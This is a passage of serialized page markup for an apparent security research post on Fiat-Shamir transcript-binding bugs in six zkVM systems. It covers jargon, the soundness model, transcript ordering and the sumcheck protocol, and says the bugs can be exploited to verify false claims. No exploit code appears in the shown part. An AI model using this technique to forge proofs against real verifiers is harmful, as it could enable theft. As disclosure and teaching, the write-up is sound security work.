statements.","2026-03-03T12:00:00.000Z",[106096,106097],"himanshu","valter",{"src":106099,"width":95526,"height":12024},"/posts/zkvms-unfaithful-claims/title.png",[106101],"zkVM",{"type":17,"children":106103,"toc":121871},[106104,106109,106151,106164,106167,106173,106178,106306,106309,106315,106321,106326,106358,106506,106511,106634,106645,106656,106679,106690,106695,106728,106736,106741,106744,106750,106755,106761,106766,106771,106779,106797,106938,106943,106949,107042,107776,107844,107855,107863,108337,108343,108782,109122,109275,109280,110168,110324,110330,110422,110427,111012,111462,111538,111544,111549,111618,111628,111644,111654,111715,112134,112166,112176,112351,112356,112366,112966,113154,113172,113175,113181,113186,113194,113226,113588,113593,113678,113681,113687,113695,113700,113703,113709,113714,113722,113730,113738,113746,113779,113787,113795,113886,114137,114464,114472,114502,114672,114998,115003,115008,115025,115028,115033,115038,115050,115062,115653,115665,115677,115684,115692,115704,115712,115727,115732,116012,116031,116126,116145,116161,116164,116170,116175,116180,116187,116195,116202,116210,116223,116241,116701,116803,116808,116813,116829,116832,116838,116843,116855,116866,116871,117261,117268,117276,117301,117321,117577,117588,117607,117991,118337,118567,118726,118886,119454,119459,119485,119488,119494,119499,119506,119514,119527,119599,119610,119618,119628,119636,119647,119921,120010,120039,120042,120047,120181,120193,120200,120205,120358,120384,120391,120399,120404,120470,120475,120865,120952,120968,120971,120977,120982,120988,121088,121147,121152,121158,121163,121171,121176,121182,121187,121192,121198,121203,121206,121212,121218,121223,121228,121233,121238,121243,121246,121252,121415,121420,121423,121428,121439,121756,121761,121785,121790,121808,121813,121816,121822,121827,121832,121842,121847,121857,121867],{"type":20,"tag":29,"props":106105,"children":106106},{},[106107],{"type":26,"value":106108},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":20,"tag":29,"props":106110,"children":106111},{},[106112,106114,106119,106120,106125,106126,106131,106132,106137,106138,106143,106144,106149],{"type":26,"value":106113},"We found six systems where this faithfulness breaks. Across ",{"type":20,"tag":3717,"props":106115,"children":106116},{},[106117],{"type":26,"value":106118},"Jolt",{"type":26,"value":44},{"type":20,"tag":3717,"props":106121,"children":106122},{},[106123],{"type":26,"value":106124},"Nexus",{"type":26,"value":44},{"type":20,"tag":3717,"props":106127,"children":106128},{},[106129],{"type":26,"value":106130},"Cairo-M",{"type":26,"value":44},{"type":20,"tag":3717,"props":106133,"children":106134},{},[106135],{"type":26,"value":106136},"Ceno",{"type":26,"value":44},{"type":20,"tag":3717,"props":106139,"children":106140},{},[106141],{"type":26,"value":106142},"Expander",{"type":26,"value":4882},{"type":20,"tag":3717,"props":106145,"children":106146},{},[106147],{"type":26,"value":106148},"Binius64",{"type":26,"value":106150},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":20,"tag":29,"props":106152,"children":106153},{},[106154,106156,106162],{"type":26,"value":106155},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":20,"tag":35,"props":106157,"children":106159},{"href":106158},"#challenges",[106160],{"type":26,"value":106161},"Challenges",{"type":26,"value":106163}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":20,"tag":17197,"props":106165,"children":106166},{},[],{"type":20,"tag":21,"props":106168,"children":106170},{"id":106169},"jargon-cheat-sheet",[106171],{"type":26,"value":106172},"Jargon Cheat Sheet",{"type":20,"tag":29,"props":106174,"children":106175},{},[106176],{"type":26,"value":106177},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":20,"tag":15089,"props":106179,"children":106180},{},[106181,106191,106201,106211,106221,106231,106241,106251,106261,106271,106281,106291],{"type":20,"tag":72,"props":106182,"children":106183},{},[106184,106189],{"type":20,"tag":3717,"props":106185,"children":106186},{},[106187],{"type":26,"value":106188},"Fiat-Shamir",{"type":26,"value":106190},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":20,"tag":72,"props":106192,"children":106193},{},[106194,106199],{"type":20,"tag":3717,"props":106195,"children":106196},{},[106197],{"type":26,"value":106198},"Transcript",{"type":26,"value":106200},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":20,"tag":72,"props":106202,"children":106203},{},[106204,106209],{"type":20,"tag":3717,"props":106205,"children":106206},{},[106207],{"type":26,"value":106208},"Polynomial Commitment",{"type":26,"value":106210},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":20,"tag":72,"props":106212,"children":106213},{},[106214,106219],{"type":20,"tag":3717,"props":106215,"children":106216},{},[106217],{"type":26,"value":106218},"Sumcheck",{"type":26,"value":106220},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":20,"tag":72,"props":106222,"children":106223},{},[106224,106229],{"type":20,"tag":3717,"props":106225,"children":106226},{},[106227],{"type":26,"value":106228},"MLE (Multilinear Extension)",{"type":26,"value":106230},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":20,"tag":72,"props":106232,"children":106233},{},[106234,106239],{"type":20,"tag":3717,"props":106235,"children":106236},{},[106237],{"type":26,"value":106238},"Lookup / LogUp",{"type":26,"value":106240},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":20,"tag":72,"props":106242,"children":106243},{},[106244,106249],{"type":20,"tag":3717,"props":106245,"children":106246},{},[106247],{"type":26,"value":106248},"AIR",{"type":26,"value":106250},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":20,"tag":72,"props":106252,"children":106253},{},[106254,106259],{"type":20,"tag":3717,"props":106255,"children":106256},{},[106257],{"type":26,"value":106258},"STARK",{"type":26,"value":106260},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":20,"tag":72,"props":106262,"children":106263},{},[106264,106269],{"type":20,"tag":3717,"props":106265,"children":106266},{},[106267],{"type":26,"value":106268},"FRI",{"type":26,"value":106270},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":20,"tag":72,"props":106272,"children":106273},{},[106274,106279],{"type":20,"tag":3717,"props":106275,"children":106276},{},[106277],{"type":26,"value":106278},"OODS",{"type":26,"value":106280},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":20,"tag":72,"props":106282,"children":106283},{},[106284,106289],{"type":20,"tag":3717,"props":106285,"children":106286},{},[106287],{"type":26,"value":106288},"GKR",{"type":26,"value":106290},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":20,"tag":72,"props":106292,"children":106293},{},[106294,106299,106301],{"type":20,"tag":3717,"props":106295,"children":106296},{},[106297],{"type":26,"value":106298},"claimed_sum / opening_claim",{"type":26,"value":106300},": Prover-supplied values that feed into verification equations. ",{"type":20,"tag":3717,"props":106302,"children":106303},{},[106304],{"type":26,"value":106305},"These are the usual suspects for binding bugs.",{"type":20,"tag":17197,"props":106307,"children":106308},{},[],{"type":20,"tag":21,"props":106310,"children":106312},{"id":106311},"what-are-we-even-breaking",[106313],{"type":26,"value":106314},"What Are We Even Breaking?",{"type":20,"tag":219,"props":106316,"children":106318},{"id":106317},"what-is-a-zkvm",[106319],{"type":26,"value":106320},"What is a zkVM?",{"type":20,"tag":29,"props":106322,"children":106323},{},[106324],{"type":26,"value":106325},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":20,"tag":29,"props":106327,"children":106328},{},[106329,106331,106356],{"type":26,"value":106330},"Formally, the verifier is convinced that there exists a valid trace ",{"type":20,"tag":119,"props":106332,"children":106334},{"className":106333},[2375,2376],[106335],{"type":20,"tag":315,"props":106336,"children":106338},{"className":106337},[2381],[106339],{"type":20,"tag":315,"props":106340,"children":106342},{"className":106341,"ariaHidden":2387},[2386],[106343],{"type":20,"tag":315,"props":106344,"children":106346},{"className":106345},[2392],[106347,106351],{"type":20,"tag":315,"props":106348,"children":106350},{"className":106349,"style":19987},[2397],[],{"type":20,"tag":315,"props":106352,"children":106354},{"className":106353,"style":19993},[2403,19992],[106355],{"type":26,"value":4381},{"type":26,"value":106357}," such that:",{"type":20,"tag":29,"props":106359,"children":106360},{},[106361],{"type":20,"tag":119,"props":106362,"children":106364},{"className":106363},[2375,2376],[106365],{"type":20,"tag":315,"props":106366,"children":106368},{"className":106367},[2381],[106369],{"type":20,"tag":315,"props":106370,"children":106372},{"className":106371,"ariaHidden":2387},[2386],[106373,106417,106492],{"type":20,"tag":315,"props":106374,"children":106376},{"className":106375},[2392],[106377,106381,106387,106391,106396,106400,106404,106409,106413],{"type":20,"tag":315,"props":106378,"children":106380},{"className":106379,"style":91220},[2397],[],{"type":20,"tag":315,"props":106382,"children":106384},{"className":106383},[2403],[106385],{"type":26,"value":106386},"∃",{"type":20,"tag":315,"props":106388,"children":106390},{"className":106389,"style":2581},[2483],[],{"type":20,"tag":315,"props":106392,"children":106394},{"className":106393,"style":19993},[2403,19992],[106395],{"type":26,"value":4381},{"type":20,"tag":315,"props":106397,"children":106399},{"className":106398,"style":2581},[2483],[],{"type":20,"tag":315,"props":106401,"children":106403},{"className":106402,"style":2581},[2483],[],{"type":20,"tag":315,"props":106405,"children":106407},{"className":106406},[2586],[106408],{"type":26,"value":2884},{"type":20,"tag":315,"props":106410,"children":106412},{"className":106411,"style":2581},[2483],[],{"type":20,"tag":315,"props":106414,"children":106416},{"className":106415,"style":2581},[2483],[],{"type":20,"tag":315,"props":106418,"children":106420},{"className":106419},[2392],[106421,106425,106436,106441,106446,106451,106455,106460,106465,106469,106474,106479,106483,106488],{"type":20,"tag":315,"props":106422,"children":106424},{"className":106423,"style":2504},[2397],[],{"type":20,"tag":315,"props":106426,"children":106428},{"className":106427},[2403],[106429],{"type":20,"tag":315,"props":106430,"children":106433},{"className":106431},[2403,106432],"mathsf",[106434],{"type":26,"value":106435},"VM",{"type":20,"tag":315,"props":106437,"children":106439},{"className":106438},[20121],[106440],{"type":26,"value":1049},{"type":20,"tag":315,"props":106442,"children":106444},{"className":106443,"style":19993},[2403,19992],[106445],{"type":26,"value":19996},{"type":20,"tag":315,"props":106447,"children":106449},{"className":106448},[2515],[106450],{"type":26,"value":2518},{"type":20,"tag":315,"props":106452,"children":106454},{"className":106453,"style":2522},[2483],[],{"type":20,"tag":315,"props":106456,"children":106458},{"className":106457,"style":93325},[2403,19992],[106459],{"type":26,"value":4527},{"type":20,"tag":315,"props":106461,"children":106463},{"className":106462},[2515],[106464],{"type":26,"value":2518},{"type":20,"tag":315,"props":106466,"children":106468},{"className":106467,"style":2522},[2483],[],{"type":20,"tag":315,"props":106470,"children":106472},{"className":106471,"style":19993},[2403,19992],[106473],{"type":26,"value":4381},{"type":20,"tag":315,"props":106475,"children":106477},{"className":106476},[20143],[106478],{"type":26,"value":1509},{"type":20,"tag":315,"props":106480,"children":106482},{"className":106481,"style":2581},[2483],[],{"type":20,"tag":315,"props":106484,"children":106486},{"className":106485},[2586],[106487],{"type":26,"value":20738},{"type":20,"tag":315,"props":106489,"children":106491},{"className":106490,"style":2581},[2483],[],{"type":20,"tag":315,"props":106493,"children":106495},{"className":106494},[2392],[106496,106500],{"type":20,"tag":315,"props":106497,"children":106499},{"className":106498,"style":19987},[2397],[],{"type":20,"tag":315,"props":106501,"children":106504},{"className":106502,"style":106503},[2403,19992],"margin-right:0.22222em;",[106505],{"type":26,"value":4557},{"type":20,"tag":29,"props":106507,"children":106508},{},[106509],{"type":26,"value":106510},"where:",{"type":20,"tag":15089,"props":106512,"children":106513},{},[106514,106544,106574,106604],{"type":20,"tag":72,"props":106515,"children":106516},{},[106517,106542],{"type":20,"tag":119,"props":106518,"children":106520},{"className":106519},[2375,2376],[106521],{"type":20,"tag":315,"props":106522,"children":106524},{"className":106523},[2381],[106525],{"type":20,"tag":315,"props":106526,"children":106528},{"className":106527,"ariaHidden":2387},[2386],[106529],{"type":20,"tag":315,"props":106530,"children":106532},{"className":106531},[2392],[106533,106537],{"type":20,"tag":315,"props":106534,"children":106536},{"className":106535,"style":19987},[2397],[],{"type":20,"tag":315,"props":106538,"children":106540},{"className":106539,"style":19993},[2403,19992],[106541],{"type":26,"value":19996},{"type":26,"value":106543}," = program/circuit description (public)",{"type":20,"tag":72,"props":106545,"children":106546},{},[106547,106572],{"type":20,"tag":119,"props":106548,"children":106550},{"className":106549},[2375,2376],[106551],{"type":20,"tag":315,"props":106552,"children":106554},{"className":106553},[2381],[106555],{"type":20,"tag":315,"props":106556,"children":106558},{"className":106557,"ariaHidden":2387},[2386],[106559],{"type":20,"tag":315,"props":106560,"children":106562},{"className":106561},[2392],[106563,106567],{"type":20,"tag":315,"props":106564,"children":106566},{"className":106565,"style":19987},[2397],[],{"type":20,"tag":315,"props":106568,"children":106570},{"className":106569,"style":93325},[2403,19992],[106571],{"type":26,"value":4527},{"type":26,"value":106573}," = public input",{"type":20,"tag":72,"props":106575,"children":106576},{},[106577,106602],{"type":20,"tag":119,"props":106578,"children":106580},{"className":106579},[2375,2376],[106581],{"type":20,"tag":315,"props":106582,"children":106584},{"className":106583},[2381],[106585],{"type":20,"tag":315,"props":106586,"children":106588},{"className":106587,"ariaHidden":2387},[2386],[106589],{"type":20,"tag":315,"props":106590,"children":106592},{"className":106591},[2392],[106593,106597],{"type":20,"tag":315,"props":106594,"children":106596},{"className":106595,"style":19987},[2397],[],{"type":20,"tag":315,"props":106598,"children":106600},{"className":106599,"style":106503},[2403,19992],[106601],{"type":26,"value":4557},{"type":26,"value":106603}," = claimed public output",{"type":20,"tag":72,"props":106605,"children":106606},{},[106607,106632],{"type":20,"tag":119,"props":106608,"children":106610},{"className":106609},[2375,2376],[106611],{"type":20,"tag":315,"props":106612,"children":106614},{"className":106613},[2381],[106615],{"type":20,"tag":315,"props":106616,"children":106618},{"className":106617,"ariaHidden":2387},[2386],[106619],{"type":20,"tag":315,"props":106620,"children":106622},{"className":106621},[2392],[106623,106627],{"type":20,"tag":315,"props":106624,"children":106626},{"className":106625,"style":19987},[2397],[],{"type":20,"tag":315,"props":106628,"children":106630},{"className":106629,"style":19993},[2403,19992],[106631],{"type":26,"value":4381},{"type":26,"value":106633}," = private witness/trace (registers, memory history, intermediate values)",{"type":20,"tag":29,"props":106635,"children":106636},{},[106637,106639,106643],{"type":26,"value":106638},"The verifier does ",{"type":20,"tag":3717,"props":106640,"children":106641},{},[106642],{"type":26,"value":16892},{"type":26,"value":106644}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":20,"tag":29,"props":106646,"children":106647},{},[106648,106650,106655],{"type":26,"value":106649},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":20,"tag":3717,"props":106651,"children":106652},{},[106653],{"type":26,"value":106654},"soundness",{"type":26,"value":2884},{"type":20,"tag":15089,"props":106657,"children":106658},{},[106659,106669],{"type":20,"tag":72,"props":106660,"children":106661},{},[106662,106667],{"type":20,"tag":3717,"props":106663,"children":106664},{},[106665],{"type":26,"value":106666},"Completeness",{"type":26,"value":106668},": honest execution verifies.",{"type":20,"tag":72,"props":106670,"children":106671},{},[106672,106677],{"type":20,"tag":3717,"props":106673,"children":106674},{},[106675],{"type":26,"value":106676},"Soundness",{"type":26,"value":106678},": false execution should not verify.",{"type":20,"tag":29,"props":106680,"children":106681},{},[106682,106684,106688],{"type":26,"value":106683},"We are breaking ",{"type":20,"tag":3717,"props":106685,"children":106686},{},[106687],{"type":26,"value":106654},{"type":26,"value":106689}," in all six systems.",{"type":20,"tag":29,"props":106691,"children":106692},{},[106693],{"type":26,"value":106694},"In all six codebases, verification follows this abstract flow:",{"type":20,"tag":68,"props":106696,"children":106697},{},[106698,106703,106708,106713,106718,106723],{"type":20,"tag":72,"props":106699,"children":106700},{},[106701],{"type":26,"value":106702},"Fix public statement data.",{"type":20,"tag":72,"props":106704,"children":106705},{},[106706],{"type":26,"value":106707},"Parse proof payload (commitments, reduction messages, openings).",{"type":20,"tag":72,"props":106709,"children":106710},{},[106711],{"type":26,"value":106712},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":20,"tag":72,"props":106714,"children":106715},{},[106716],{"type":26,"value":106717},"Check constraint equations at sampled points.",{"type":20,"tag":72,"props":106719,"children":106720},{},[106721],{"type":26,"value":106722},"Check PCS/opening consistency.",{"type":20,"tag":72,"props":106724,"children":106725},{},[106726],{"type":26,"value":106727},"Accept only if all checks are jointly consistent.",{"type":20,"tag":29,"props":106729,"children":106730},{},[106731],{"type":20,"tag":2308,"props":106732,"children":106735},{"alt":106733,"src":106734},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":20,"tag":29,"props":106737,"children":106738},{},[106739],{"type":26,"value":106740},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":20,"tag":17197,"props":106742,"children":106743},{},[],{"type":20,"tag":21,"props":106745,"children":106747},{"id":106746},"the-building-blocks",[106748],{"type":26,"value":106749},"The Building Blocks",{"type":20,"tag":29,"props":106751,"children":106752},{},[106753],{"type":26,"value":106754},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":20,"tag":219,"props":106756,"children":106758},{"id":106757},"the-fiat-shamir-transform",[106759],{"type":26,"value":106760},"The Fiat-Shamir Transform",{"type":20,"tag":29,"props":106762,"children":106763},{},[106764],{"type":26,"value":106765},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":20,"tag":29,"props":106767,"children":106768},{},[106769],{"type":26,"value":106770},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":20,"tag":29,"props":106772,"children":106773},{},[106774],{"type":20,"tag":2308,"props":106775,"children":106778},{"alt":106776,"src":106777},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":20,"tag":29,"props":106780,"children":106781},{},[106782,106784,106788,106790,106795],{"type":26,"value":106783},"The hash (transcript) ",{"type":20,"tag":3717,"props":106785,"children":106786},{},[106787],{"type":26,"value":4914},{"type":26,"value":106789}," include everything that affects verification ",{"type":20,"tag":3717,"props":106791,"children":106792},{},[106793],{"type":26,"value":106794},"BEFORE",{"type":26,"value":106796}," the challenges derived from it are used.",{"type":20,"tag":29,"props":106798,"children":106799},{},[106800,106802,106828,106830,106855,106857,106882,106884,106909,106911,106936],{"type":26,"value":106801},"If some value ",{"type":20,"tag":119,"props":106803,"children":106805},{"className":106804},[2375,2376],[106806],{"type":20,"tag":315,"props":106807,"children":106809},{"className":106808},[2381],[106810],{"type":20,"tag":315,"props":106811,"children":106813},{"className":106812,"ariaHidden":2387},[2386],[106814],{"type":20,"tag":315,"props":106815,"children":106817},{"className":106816},[2392],[106818,106822],{"type":20,"tag":315,"props":106819,"children":106821},{"className":106820,"style":19987},[2397],[],{"type":20,"tag":315,"props":106823,"children":106825},{"className":106824,"style":106503},[2403,19992],[106826],{"type":26,"value":106827},"V",{"type":26,"value":106829}," affects a verification equation, but ",{"type":20,"tag":119,"props":106831,"children":106833},{"className":106832},[2375,2376],[106834],{"type":20,"tag":315,"props":106835,"children":106837},{"className":106836},[2381],[106838],{"type":20,"tag":315,"props":106839,"children":106841},{"className":106840,"ariaHidden":2387},[2386],[106842],{"type":20,"tag":315,"props":106843,"children":106845},{"className":106844},[2392],[106846,106850],{"type":20,"tag":315,"props":106847,"children":106849},{"className":106848,"style":19987},[2397],[],{"type":20,"tag":315,"props":106851,"children":106853},{"className":106852,"style":106503},[2403,19992],[106854],{"type":26,"value":106827},{"type":26,"value":106856}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":20,"tag":119,"props":106858,"children":106860},{"className":106859},[2375,2376],[106861],{"type":20,"tag":315,"props":106862,"children":106864},{"className":106863},[2381],[106865],{"type":20,"tag":315,"props":106866,"children":106868},{"className":106867,"ariaHidden":2387},[2386],[106869],{"type":20,"tag":315,"props":106870,"children":106872},{"className":106871},[2392],[106873,106877],{"type":20,"tag":315,"props":106874,"children":106876},{"className":106875,"style":19987},[2397],[],{"type":20,"tag":315,"props":106878,"children":106880},{"className":106879,"style":106503},[2403,19992],[106881],{"type":26,"value":106827},{"type":26,"value":106883},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":20,"tag":119,"props":106885,"children":106887},{"className":106886},[2375,2376],[106888],{"type":20,"tag":315,"props":106889,"children":106891},{"className":106890},[2381],[106892],{"type":20,"tag":315,"props":106893,"children":106895},{"className":106894,"ariaHidden":2387},[2386],[106896],{"type":20,"tag":315,"props":106897,"children":106899},{"className":106898},[2392],[106900,106904],{"type":20,"tag":315,"props":106901,"children":106903},{"className":106902,"style":19987},[2397],[],{"type":20,"tag":315,"props":106905,"children":106907},{"className":106906,"style":106503},[2403,19992],[106908],{"type":26,"value":106827},{"type":26,"value":106910},", which may allow it to choose ",{"type":20,"tag":119,"props":106912,"children":106914},{"className":106913},[2375,2376],[106915],{"type":20,"tag":315,"props":106916,"children":106918},{"className":106917},[2381],[106919],{"type":20,"tag":315,"props":106920,"children":106922},{"className":106921,"ariaHidden":2387},[2386],[106923],{"type":20,"tag":315,"props":106924,"children":106926},{"className":106925},[2392],[106927,106931],{"type":20,"tag":315,"props":106928,"children":106930},{"className":106929,"style":19987},[2397],[],{"type":20,"tag":315,"props":106932,"children":106934},{"className":106933,"style":106503},[2403,19992],[106935],{"type":26,"value":106827},{"type":26,"value":106937}," exactly so that the verification passes, even though it should not.",{"type":20,"tag":29,"props":106939,"children":106940},{},[106941],{"type":26,"value":106942},"This is the bug class we found in all six systems.",{"type":20,"tag":219,"props":106944,"children":106946},{"id":106945},"the-sumcheck-protocol",[106947],{"type":26,"value":106948},"The Sumcheck Protocol",{"type":20,"tag":29,"props":106950,"children":106951},{},[106952,106954,107040],{"type":26,"value":106953},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":20,"tag":119,"props":106955,"children":106957},{"className":106956},[2375,2376],[106958],{"type":20,"tag":315,"props":106959,"children":106961},{"className":106960},[2381],[106962],{"type":20,"tag":315,"props":106963,"children":106965},{"className":106964,"ariaHidden":2387},[2386],[106966],{"type":20,"tag":315,"props":106967,"children":106969},{"className":106968},[2392],[106970,106974,106979,106984,106989,106993,106998],{"type":20,"tag":315,"props":106971,"children":106973},{"className":106972,"style":2504},[2397],[],{"type":20,"tag":315,"props":106975,"children":106977},{"className":106976},[20121],[106978],{"type":26,"value":74876},{"type":20,"tag":315,"props":106980,"children":106982},{"className":106981},[2403],[106983],{"type":26,"value":1063},{"type":20,"tag":315,"props":106985,"children":106987},{"className":106986},[2515],[106988],{"type":26,"value":2518},{"type":20,"tag":315,"props":106990,"children":106992},{"className":106991,"style":2522},[2483],[],{"type":20,"tag":315,"props":106994,"children":106996},{"className":106995},[2403],[106997],{"type":26,"value":2406},{"type":20,"tag":315,"props":106999,"children":107001},{"className":107000},[20143],[107002,107007],{"type":20,"tag":315,"props":107003,"children":107005},{"className":107004},[20143],[107006],{"type":26,"value":32555},{"type":20,"tag":315,"props":107008,"children":107010},{"className":107009},[2419],[107011],{"type":20,"tag":315,"props":107012,"children":107014},{"className":107013},[2424],[107015],{"type":20,"tag":315,"props":107016,"children":107018},{"className":107017},[2429],[107019],{"type":20,"tag":315,"props":107020,"children":107023},{"className":107021,"style":107022},[2434],"height:0.6644em;",[107024],{"type":20,"tag":315,"props":107025,"children":107026},{"style":2438},[107027,107031],{"type":20,"tag":315,"props":107028,"children":107030},{"className":107029,"style":2444},[2443],[],{"type":20,"tag":315,"props":107032,"children":107034},{"className":107033},[2449,2450,2451,2452],[107035],{"type":20,"tag":315,"props":107036,"children":107038},{"className":107037},[2403,19992,2452],[107039],{"type":26,"value":54656},{"type":26,"value":107041},"), i.e the claim:",{"type":20,"tag":29,"props":107043,"children":107044},{},[107045],{"type":20,"tag":119,"props":107046,"children":107048},{"className":107047},[2375,2376],[107049],{"type":20,"tag":315,"props":107050,"children":107052},{"className":107051},[2381],[107053],{"type":20,"tag":315,"props":107054,"children":107056},{"className":107055,"ariaHidden":2387},[2386],[107057,107083],{"type":20,"tag":315,"props":107058,"children":107060},{"className":107059},[2392],[107061,107065,107070,107074,107079],{"type":20,"tag":315,"props":107062,"children":107064},{"className":107063,"style":19987},[2397],[],{"type":20,"tag":315,"props":107066,"children":107068},{"className":107067,"style":91539},[2403,19992],[107069],{"type":26,"value":91542},{"type":20,"tag":315,"props":107071,"children":107073},{"className":107072,"style":2581},[2483],[],{"type":20,"tag":315,"props":107075,"children":107077},{"className":107076},[2586],[107078],{"type":26,"value":337},{"type":20,"tag":315,"props":107080,"children":107082},{"className":107081,"style":2581},[2483],[],{"type":20,"tag":315,"props":107084,"children":107086},{"className":107085},[2392],[107087,107091,107241,107245,107388,107392,107399,107403,107547,107551,107557,107562,107619,107624,107628,107685,107690,107694,107700,107704,107709,107713,107771],{"type":20,"tag":315,"props":107088,"children":107090},{"className":107089,"style":20023},[2397],[],{"type":20,"tag":315,"props":107092,"children":107094},{"className":107093},[20028],[107095,107101],{"type":20,"tag":315,"props":107096,"children":107098},{"className":107097,"style":20035},[20028,20033,20034],[107099],{"type":26,"value":107100},"∑",{"type":20,"tag":315,"props":107102,"children":107104},{"className":107103},[2419],[107105],{"type":20,"tag":315,"props":107106,"children":107108},{"className":107107},[2424,20046],[107109,107230],{"type":20,"tag":315,"props":107110,"children":107112},{"className":107111},[2429],[107113,107225],{"type":20,"tag":315,"props":107114,"children":107116},{"className":107115,"style":20055},[2434],[107117],{"type":20,"tag":315,"props":107118,"children":107119},{"style":20059},[107120,107124],{"type":20,"tag":315,"props":107121,"children":107123},{"className":107122,"style":2444},[2443],[],{"type":20,"tag":315,"props":107125,"children":107127},{"className":107126},[2449,2450,2451,2452],[107128],{"type":20,"tag":315,"props":107129,"children":107131},{"className":107130},[2403,2452],[107132,107195,107200,107205,107210,107215,107220],{"type":20,"tag":315,"props":107133,"children":107135},{"className":107134},[2403,2452],[107136,107141],{"type":20,"tag":315,"props":107137,"children":107139},{"className":107138},[2403,19992,2452],[107140],{"type":26,"value":17680},{"type":20,"tag":315,"props":107142,"children":107144},{"className":107143},[2419],[107145],{"type":20,"tag":315,"props":107146,"children":107148},{"className":107147},[2424,20046],[107149,107183],{"type":20,"tag":315,"props":107150,"children":107152},{"className":107151},[2429],[107153,107178],{"type":20,"tag":315,"props":107154,"children":107157},{"className":107155,"style":107156},[2434],"height:0.3173em;",[107158],{"type":20,"tag":315,"props":107159,"children":107161},{"style":107160},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[107162,107167],{"type":20,"tag":315,"props":107163,"children":107166},{"className":107164,"style":107165},[2443],"height:2.5em;",[],{"type":20,"tag":315,"props":107168,"children":107172},{"className":107169},[2449,107170,107171,2452],"reset-size3","size1",[107173],{"type":20,"tag":315,"props":107174,"children":107176},{"className":107175},[2403,2452],[107177],{"type":26,"value":2406},{"type":20,"tag":315,"props":107179,"children":107181},{"className":107180},[20149],[107182],{"type":26,"value":20152},{"type":20,"tag":315,"props":107184,"children":107186},{"className":107185},[2429],[107187],{"type":20,"tag":315,"props":107188,"children":107191},{"className":107189,"style":107190},[2434],"height:0.143em;",[107192],{"type":20,"tag":315,"props":107193,"children":107194},{},[],{"type":20,"tag":315,"props":107196,"children":107198},{"className":107197},[2586,2452],[107199],{"type":26,"value":20099},{"type":20,"tag":315,"props":107201,"children":107203},{"className":107202},[20121,2452],[107204],{"type":26,"value":74876},{"type":20,"tag":315,"props":107206,"children":107208},{"className":107207},[2403,2452],[107209],{"type":26,"value":1063},{"type":20,"tag":315,"props":107211,"children":107213},{"className":107212},[2515,2452],[107214],{"type":26,"value":2518},{"type":20,"tag":315,"props":107216,"children":107218},{"className":107217},[2403,2452],[107219],{"type":26,"value":2406},{"type":20,"tag":315,"props":107221,"children":107223},{"className":107222},[20143,2452],[107224],{"type":26,"value":32555},{"type":20,"tag":315,"props":107226,"children":107228},{"className":107227},[20149],[107229],{"type":26,"value":20152},{"type":20,"tag":315,"props":107231,"children":107233},{"className":107232},[2429],[107234],{"type":20,"tag":315,"props":107235,"children":107237},{"className":107236,"style":20160},[2434],[107238],{"type":20,"tag":315,"props":107239,"children":107240},{},[],{"type":20,"tag":315,"props":107242,"children":107244},{"className":107243,"style":2522},[2483],[],{"type":20,"tag":315,"props":107246,"children":107248},{"className":107247},[20028],[107249,107254],{"type":20,"tag":315,"props":107250,"children":107252},{"className":107251,"style":20035},[20028,20033,20034],[107253],{"type":26,"value":107100},{"type":20,"tag":315,"props":107255,"children":107257},{"className":107256},[2419],[107258],{"type":20,"tag":315,"props":107259,"children":107261},{"className":107260},[2424,20046],[107262,107377],{"type":20,"tag":315,"props":107263,"children":107265},{"className":107264},[2429],[107266,107372],{"type":20,"tag":315,"props":107267,"children":107269},{"className":107268,"style":20055},[2434],[107270],{"type":20,"tag":315,"props":107271,"children":107272},{"style":20059},